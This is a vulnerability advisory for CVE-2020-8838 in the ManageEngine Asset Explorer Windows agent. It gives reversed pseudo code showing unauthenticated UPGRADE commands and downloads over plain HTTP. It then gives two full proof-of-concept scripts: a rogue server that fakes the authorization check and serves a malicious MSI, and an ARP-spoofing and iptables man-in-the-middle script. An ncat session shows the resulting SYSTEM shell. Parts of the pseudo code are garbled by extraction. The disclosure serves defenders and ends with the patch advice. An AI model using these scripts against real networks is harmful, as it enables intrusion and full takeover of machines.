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Asset Explorer Windows Agent - Remote Code Execution
From: xen1thLabs <xen1thLabs () digital14 com>
Date: Tue, 5 May 2020 16:51:26 +0000
XL-2020-003 - Asset Explorer Windows Agent - Remote Code Execution
Identifiers
* CVE-2020-8838
* XL-20-003
CVSSv3 score
7.5 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
_____
ManageEngine - [https://www.manageengine.com/products/asset-explorer/](https://www.manageengine.com/products/asset-explorer/)
Product
ManageEngine Asset Explorer windows agent is used by the ManageEngine's AssetExplorer software to discover software assets installed on the windows machines.
Affected versions
- All versions prior to 1.0.29
Credit
Sahil Dhar - xenlthLabs - Software Labs
Vulnerability summary
It was observed that, while upgrading the Asset Explorer's windows agent, it does not validate the source IP address
of server sending the UPGRADE request and downloads the agent binary via an insecure channel, allowing an attacker on an adjacent network to execute code with `NT AUTHORITY/SYSTEM` priviliges on the agent machines by providing arbitrary executables via MITM attack.
Techincal details
Upon reversing the ManageEngineAssetExplorerAgent.exe binary, we observed that the agent server does not validate the source of connection and accepts the command from any client. Following pseudo code shows this behaviour.
 v9 = 9000;
    if ( dword_493E38 )
      v9 = _wtoi(dword_493E38);
    if ( sub_40114F() )
      Log Function(...)
    if (!sub_40117C())
    v10 = sub_401195(v9); /* listen on port 9000 */
    if ( v10 == -1 )
       Log Function(...)
         ".\\.\\main\\src\\AEAgent.cpp",
```

"Failed in create\_server\_sock. The port may be occupied by some other applications, try restarting the agent after 30 minutes",

v40);

```
while (1)
      while (1)
      {
       while (1)
       {
         s = 0;
         v11 = sub 40101E(v10, &addr, (int)&s);
          v43 = v11;
         if ( v11 )
          break;
         closesocket(s);
         Log Function(...)
        v12 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
         v14 = *v12;
         *v13++ = *v12++;
        while ( v14 );
        *(_DWORD *)dword_493E54 = *(unsigned __int16 *)addr.sa_data;
        Log Function(...)
        Log Function(...)
       v15 = calloc(lu, 0xC8u);
       v48 = v15;
      if ( sub\_401091(v11, v15, 200) > 0 ) /* read 200 bytes from the client socket */
       Log Function(...)
      if ( v15 )
        free(v15);
      sub_4011A4(v11);
     v16 = 0;
The agent server then parses the command by splitting it with hash '#' character and send an authorization request to AssetExplorer Management server using insecure HTTP connection. Following code snippets shows this behaviour:
// UPGRADE request parsing logic
v17 = strtok((char *)v15, "#");
                                                if ( v17 )
        dword_493E5C = sub_40106E(v17);
        v18 = strtok(0, "#");
        if ( v18 )
         dword_493E58 = (void *)sub_40106E(v18);
         v19 = strtok(0, "#");
          if ( v19 )
           dword 493E60 = (void *)sub 40106E(v19);
            v16 = strtok(0, "#");
            if ( v16 )
             v20 = strtok(0, "#");
              v46 = v20;
              if ( v20 )
               dword_493E64 = (void *)sub_40106E(v20);
                v21 = strtok(0, "#");
               if ( v21 )
                  dword_493E68 = (void *)sub_40106E(v21);
              if (!memcmp(v16, "RDS-PROMPT", 0xBu) && v46)
```

return 0;

```
```c
// send AUTH TOKEN REQUEST to Server
sub_40112C(v2, L"%s?WSNAME=%s&AUTH_TOKEN=%s&AGENTID=%s&TASK=%s", (unsigned int)&off_47B4F0);
                   Log Function(...)
                  v13 = calloc(2u, 0x3E8u);
                  v3 = wtoi(v15);
                   v4 = sub 4010DC(v0, v1, v3, v2, L"Get Task Info", &v13); /*DM Comment: Send http POST request*/
                   if ( v4 )
                                     {
   v6 = _wtoi(v15);
   v7 = sub_4010DC(v16, v17, v6, v2, L"Get Task Info", &v13); /*DM
Comment: Send http POST request*/
/* \ DM \ Comment: \ sub\_4010DC() \ \ function \ utimately \ resolving \ in \ HttpSendRequestExW \ Win \ API \ call \ in \ sub\_406DDO() \ \ function \ */
                                      v18 = HttpOpenRequestW(v16, L"POST", lpszObjectName, L"HTTP/1.0", &szReferrer, 0,
dwFlags, 0);
                   if ( !v18 )
                      goto LABEL_38;
                   LABEL_15:
                     while (2)
                       v19 = 0;
                       while ( 1 )
                          if ( !HttpSendRequestExW(v18, &BuffersIn, 0, 0, 0) )
Upon receiving the `UPGRADE` command, the agent executes the following block of pseudo code, which ideally is supposed to send the request to an AssetExplorer management server to verify the authenticity of request.
As the connection is made over HTTP, an attacker can execute Man-in-the-middle (MITM) attack and act as an rougue AssetExplorer Management server and sends a success response for the malicious 'UPGRADE' request triggered by them initially.
....
  if ( !memcmp(v16, "UPGRADE", 8u) )
       {
          Log Function(...)
           v45 = (void *)sub_401122(lpWideCharStr);
           if ( !(unsigned __int8)sub_401109(v45, *(_DWORD *)dword_493E54, "success", v55) )
             Log Function(...)
            if ( v45 )
             free(v45);
            if ( !CreateThread(0, 0, sub 4010D7, L"UPGRADE", 0, 0) )
             v46 = GetLastError();
              Log Function(...)
           }
         }
After receiving the successful response from the attacker's server, the agent server copies agentcontroller.exe binary in windows temp folder and executes the command 'agentcontroller.exe -upgrade'. Following pseudo code shows this behaviour.
```c
                  sub_40112C(v6, L"%s -upgrade", (unsigned int)L"agentcontroller.exe");
    }
    else
    {
      sub_40112C(v6, L"%s -r", (unsigned int)L"agentcontroller.exe");
    sub_40105F(lpPathName, (int)v6, -1);
    free(v6);
```

```
The agentcontroller.exe when executed with `-upgrade` option, simply downloads the new/malicious binary residing at `/agent/ManageEngineAssetExplorerAgent.msi` server path using insecure HTTP connection and executes it.
/\,{}^{*}\text{DM Comment: Pseudo code for agent
controller.exe downloading and executing the malicious .msi binary using windows msiexec utility*/
  if ( sub 40105F((int)v0, lpszServerName, v4, (int)L"/agent/ManageEngineAssetExplorerAgent.msi", v2)
      && (v5 = wtoi(v15), sub 40105F((int)v0, v17, v5, (int)L"/agent/ManageEngineAssetExplorerAgent.msi", v2)))
      Log Function(...)
      sub 4010BE(
        v1,
       L"%s?status=failed&agentId=%s&wsName=%s&action=%s&error=%d",
        (unsigned int)L"/discoveryServlet/AgentStatusServlet");
      sub_401005((int)v0, (int)lpszServerName, (int)v17, v15, (int)v1);
    else
      Log Function(...)
      v6 = (wchar_t *)calloc(2u, 0x3E8u);
      v7 = (int)v6;
        sub_4010BE(v6, L"MsiExec.exe /i %s /q ALLUSERS=1 /log aeagent_msi_install.log", (char)v18);
Proof of concept
Following POC exploit scripts can be used in conjuction to serve a malicious MSI binary to the agent which will be executed with `NT Authority/System` privileges.
**exploit.py**
```python
#!/usr/bin/env python
# Author: Sahil Dhar (@0x401)
# usage: python3 exploit.py <target>
from http.server import BaseHTTPRequestHandler
from http.server import HTTPServer
import code
import os
import threading
import socket
import sys
import ssl
class RequestHandler (BaseHTTPRequestHandler):
    def do POST(self):
        self.server version = "-"
        self.sys version = ""
        if 'AUTH_TOKEN' in self.path:
            response body = "true"
            print("Received AUTH_TOKEN request")
             # print(self.path)
             # print(self.headers)
             self.send response(200)
             self.send header("Set-Cookie", "SDPSESSIONID=D37A2BD8EE495690AF4A85C8876A11B2; Path=/; HttpOnly")
             self.send header("Content-Length", len(response body))
             self.end headers()
             self.wfile.write(bytes(response_body.encode("utf-8")))
            # print(self.path)
             self.send_response(404)
             self.end_headers()
             self.wfile.write("<br>POST".encode('utf-8'))
    def do_GET(self):
        self.server_version = "-"
```

agent\_data = open("aeagent2.msi", 'rb').read()

```
if 'ManageEngineAssetExplorerAgent.msi' in self.path:
           response body = agent data
           print("Received binary package request")
           print(self.path)
           print(self.headers)
           print("Malicious binary sent")
           self.send response(200)
           self.send header("Set-Cookie", "SDPSESSIONID=D37A2BD8EE495690AF4A85C8876A11B2; Path=/; HttpOnly")
           self.send header("Content-Length", len(response body))
           self.send header("Accept-Ranges", "bytes")
           self.send header("Connection", "close")
           self.end headers()
           self.wfile.write(bytes(response_body))
           print(self.path)
           self.send_response(404)
           self.end_headers()
           self.wfile.write("<br>GET".encode("utf-8"))
def send_upgrade_packet(ip, port=9000):
    """by default exploit will send an UPGRADE packet on port 9000"""
    agent auth = "ABBBBB"
   agent_id = "WIN-1D8NLD1Q081_1555159094695"
   operation = "UPGRADE"
    data = agent_id + "#" + agent_auth + "#" + agent_id + "#" + operation
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    ssl_sock = ssl.wrap_socket(sock)
    ssl_sock.connect((ip, int(port)))
    ans = input("Send Exploit ?")
    if ans.lower() in 'yes':
       print("Sending UPGRADE request...")
       ssl_sock.send(data.encode('utf-8'))
       print(ssl_sock.recv(1024))
        ssl_sock.close()
def main():
    """ ManageEngineAssetExplorerAgent Exploit in default configurations"""
    agent_ip = sys.argv[1]
    local_server_port = 443
    server = HTTPServer(('', local_server_port), RequestHandler)
    if len(sys.argv) > 2:
       if sys.argv[2] == '--ssl':
           server.socket = ssl.wrap_socket(server.socket, certfile="./server.pem", server_side=True)
           print("HTTPS Server listening at %d" % local_server_port)
    else:
        print("HTTP Server listening at %d" % local_server_port)
    server thread = threading. Thread(target=server.serve forever)
    server thread.start()
    client thread = threading.Thread(target=send upgrade packet,args=(agent ip,))
   client_thread.start()
if __name__=="__main__":
 main()
**arp_spoof.py***
```python
#!/usr/bin/env python
# Author: Sahil Dhar (@0x401)
# usage: python3 arp_spoof.py <target> <upgrade_server> <target_port> start
from scapy.all import *
import logging
import time
import signal
import os
```

```
def get_mac(ip):
    res, unres = arping(ip)
    for s, r in res:
       return r[Ether].src
def arp restore(victim ip, router ip, victim mac, router mac):
    send(ARP(op=2, psrc=victim ip, pdst=router ip, hwdst="ff:ff:ff:ff:ff:ff:ff:, hwsrc=victim mac), 3)
    send(ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst="ff:ff:ff:ff:ff:ff:ff:, hwsrc=router_mac), 3)
def arp_poison(victim_ip, router_ip, victim_mac, router_mac):
    """As we are not defining hwsrc, the hwsrc will be taken as our
    hardware mac address and thus putting us between victim and router"""
    send(ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst=victim_mac))
    send(ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst=router_mac))
def create_env(port=8080):
   cmds = set()
   os.system("iptables -t nat -F")
   print("Iptables NAT cleared")
   print("Ip foward rule inserted");
    cmds.add('echo "1" > /proc/sys/net/ipv4/ip_forward')
    cmds.add("iptables -t nat -A PREROUTING -p tcp --destination-port %s -j REDIRECT --to-port %s" % (port, port))
    for cmd in cmds:
       time.sleep(1)
       os.system(cmd)
if __name__ == '__main__':
   _server_port = sys.argv[3]
   _victim_ip = sys.argv[1]
   _router_ip = sys.argv[2]
    _router_mac = get_mac(_router_ip)
    _victim_mac = get_mac(_victim_ip)
    create_env(port=_server_port)
    def signal handler(signal, frame):
       print("Restoring ARP Cache...")
       arp_restore(_victim_ip, _router_ip, _victim_mac, _router_mac)
       os._exit(0)
    signal.signal(signal.SIGINT, signal handler)
    if sys.argv[4] == "start":
       while 1:
           arp_poison(_victim_ip, _router_ip, _victim_mac, _router_mac)
           time.sleep(1.5)
#~ ncat 192.168.56.101 4141
Microsoft Windows [Version 10.0.16299.1268]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
```

Upgrade AssetExplorer to the latest version.

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20-06-2019 - Reported to vendor

20-06-2019 - Vendor acknowledgement

20-01-2020 - Patch released

05-05-2020 - xen1thLabs public disclosure

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